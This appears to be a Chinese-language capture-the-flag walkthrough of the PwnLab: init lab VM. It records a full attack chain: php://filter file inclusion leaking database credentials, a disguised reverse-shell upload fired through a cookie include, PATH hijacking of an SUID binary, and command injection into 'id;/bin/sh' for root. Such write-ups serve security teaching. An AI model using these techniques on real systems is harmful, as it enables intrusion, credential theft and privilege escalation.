PwnLab: init Walkthrough
Box Info
官网在这里:PwnLab: init

The Hack
确定存活的主机
nmap -sP 192.168.186.0/24
|

对目标 IP 进行端口发现
发现开放 80,111,3306,39907 端口

对开放的端口进行应用版本发现
nmap -p 80,111,3306,39907 -sC -sV 192.168.186.154
|
80 端口开放 http 服务,111 端口开放 rpcbind 服务且开放 39907/tcp 服务 status ,3306 端口开放 mysql

先来看 80 端口,进行目录扫描
dirsearch -u http://192.168.186.154/
|
发现 config.php 但是内容为 0 ,没有权限访问,同时发现 images、upload、login 页面

发现 login 页面 url 为 http://192.168.186.154/?page=login

尝试路径遍历 ../../../../../etc/passwd ,可惜失败了

有 MySQL 注入吗?也没有

结合空白的 config.php ,看看能否 filter 协议读取文件,config.php 返回的是空白的,结合 upload 的 url 路径,尝试读取 config
http://192.168.186.154/?page=php://filter/convert.base64-encode/resource=config
|
获得加密后的 config.php

解密后为:
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
|
尝试登陆 login 页面,但是失败,尝试登陆 MySQL
mysql -uroot -p -h 192.168.186.154 --skip-ssl
|
在 User 数据库 users 数据表中发现三位用户加密后的密码

解密后为
+------+------------------+ | user | pass | +------+------------------+ | kent | JWzXuBJJNy | | mike | SIfdsTEn6I | | kane | iSv5Ym2GRo | +------+------------------+
|
尝试登陆 /login 界面,kent 的账号密码就登陆成功了,直接上传 php 文件失败了,那就来看看 upload 的源代码
http://192.168.186.154/?page=php://filter/convert.base64-encode/resource=upload
|
解密后为
<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); }
if(strpos($filetype,'image') === false) { die('Error 001'); }
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); }
if(substr_count($filetype, '/')>1){ die('Error 003'); }
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } }
?>
|
发现既有文件后缀白名单检测,又有 MIME 类型和文件头检测,还是比较难绕过的,那就来看看其他页面有什么线索
在 home 页面发现 Cookie 的 include 文件包含,那就不需要 php 后缀也可以执行命令了
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>
|
将自带的 php-reverse-shell 更改 ip 、port 后上传,使用 burp 拦截,更改文件头、后缀和 Content-Type

成功上传

将 Cookie 更改为 lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif
,本机开启 nc 监听 4444 端口,发送请求
成功接收到弹回来的 shell

并将其升级为 TTY shell
python -c "import pty;pty.spawn('/bin/bash')"
|
发现登陆的用户和 MySQL 数据库中的用户一致

那是否存在密码复用?最终只有 kane 和 kent 成功登陆,且 kent 主目录并没有泄露有效信息

在 kane 主目录发现具有 mike suid 权限的可执行文件 msgmike ,执行后发现是执行了 cat /home/mike/msg.txt
命令


既然具有 mike 的 suid 权限,那就说明该文件是以 mike 身份运行的
使用路径劫持,将 cat 命令的内容更改为 /bin/bash ,执行 cat /home/mike/msg.txt
命令就相当于以 mike 身份执行 /bin/bash ,就能获得 mike 身份的 shell
先切换至可写目录 /tmp,创建 cat 文件,将 /bin/bash 写入 cat 同时赋予 cat 所有用户可执行权限
kane@pwnlab:~$ cd /tmp kane@pwnlab:/tmp$ touch cat kane@pwnlab:/tmp$ echo "/bin/bash" > cat kane@pwnlab:/tmp$ chmod 777 cat
|
将 /tmp 路径放到 $PATH 最前面
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH kane@pwnlab:/tmp$ echo $PATH /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
执行 msgmike 获得 mike 身份

将环境变量复原
mike@pwnlab:/home/mike$ export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games <ort PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games mike@pwnlab:/home/mike$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
在 mike 主目录发现具有 root suid 权限的可执行文件 msg2root ,发现执行 /bin/echo %s >> /root/messages.txt
命令

使用 ;
截断并执行新的命令,成功执行 id 命令

输入 id;/bin/sh 获得 root 身份的 shell,成功提权

获得 flag
